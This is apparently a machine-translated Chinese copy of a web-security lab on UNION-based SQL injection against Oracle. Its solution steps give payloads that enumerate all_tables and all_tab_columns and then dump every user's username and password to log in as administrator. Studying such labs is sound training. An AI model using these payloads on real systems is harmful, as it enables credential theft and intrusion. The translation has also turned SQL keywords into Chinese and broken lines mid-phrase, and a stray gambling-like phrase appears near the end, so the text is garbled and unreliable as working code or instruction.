实验室:SQL注入攻击,列出Oracle上的数据库内容
从业者
这个实验室包含一个SQL注入产品类别过滤器中的漏洞。查询的结果将在应用程序的响应中返回,因此您可以使用联合攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个包含用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
要解决实验室,请登录行政人员
用户。
暗示
在Oracle数据库上,每个选择
语句必须指定一个表格以选择从
。如果你的联盟选择
攻击不会从表格查询,您仍然需要包括从
关键字,然后是有效的表名称。
Oracle上有一个内置表双重的
您可以将其用于此目的。例如:联盟从dual中选择“ ABC”
有关更多信息,请参阅我们的SQL注入备忘单。
解决方案
- 使用Burp Suite拦截和修改设置产品类别过滤器的请求。
确定查询返回的列数和哪些列包含文本数据。验证查询是否正在返回两列,两列都包含文本,使用有效载荷如下类别
范围:
'+联合+选择+'abc','def'+from+dual---
使用以下有效负载检索数据库中的表列表:
'+联合+选择+table_name,null+来自+all_tables--
- 查找包含用户凭据的表的名称。
使用以下有效载荷(替换表名称)来检索表中列的详细信息:
'+联合+选择+column_name,null+来自+all_tab_columns+where+table_name ='users_abcdef' -
- 查找包含用户名和密码的列的名称。
使用以下有效负载(替换表和列名)为所有用户检索用户名和密码:
'+Union+选择+username_abcdef,+password_abcdef+来自+users_abcdef--
- 查找密码
行政人员
用户,并使用它登录。
社区解决方案beplay维护得多久
拉娜·哈利尔(Rana Khalil)
迈克尔·索默(Michael Sommer)